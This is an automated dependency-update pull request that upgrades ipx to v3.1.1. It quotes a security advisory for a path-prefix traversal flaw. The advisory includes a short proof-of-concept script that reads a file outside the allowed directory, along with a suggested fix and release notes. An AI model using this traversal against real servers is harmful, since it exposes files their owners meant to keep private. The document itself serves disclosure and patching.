chore(deps): update dependency ipx to v3.1.1 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
ipx	3.0.3 -> 3.1.1

GitHub Vulnerability Alerts

CVE-2025-54387

Summary

The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.

PoC

• setup

mkdir ~/public123
move a png file under ~/public123 with name test.png
cd
npm i ipx 

• main.js

import { createIPX, ipxFSStorage } from "ipx";

const ipx = createIPX({
  storage: ipxFSStorage({ dir: "./public" }),
});

(async () => { 
    {
        const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder
        const { data, format } = await source.process();
        console.log(format) // print image data
    }
    {
        try {
            const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same
            const { data, format } = await source.process();
            console.log(data)
        } catch (err) {
            console.log(err.message) // Forbidden path:
        }

    }

})()

• node main.js

png
Forbidden path: /../publi123/test.png

Impact

Path Traversal

Possible Fix

Check if the dir ends with / (path separator) and if not, add before calling startsWith

---

Release Notes

unjs/ipx (ipx)

v3.1.1

Compare Source

compare changes

🩹 Fixes

• fs: Ensure path stays within the exact directory (#​271)

❤️ Contributors

• Pooya Parsa (@​pi0)

v3.1.0

Compare Source

compare changes

🏡 Chore

• Remove old release script (af698d0)
• Update readme (#​264)
• Fix typos (8225271)
• Update deps (5428f66)
• Add codeowners file (2dfec2d)
• Update playground (335710e)
• Update tests (aa94ce2)

✅ Tests

• Only include src for coverage report (#​258)
• Increase coverage (#​260)

❤️ Contributors

• Pooya Parsa (@​pi0)
• Kanon (@​ysknsid25)
• Maxime Pauvert (@​maximepvrt)

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.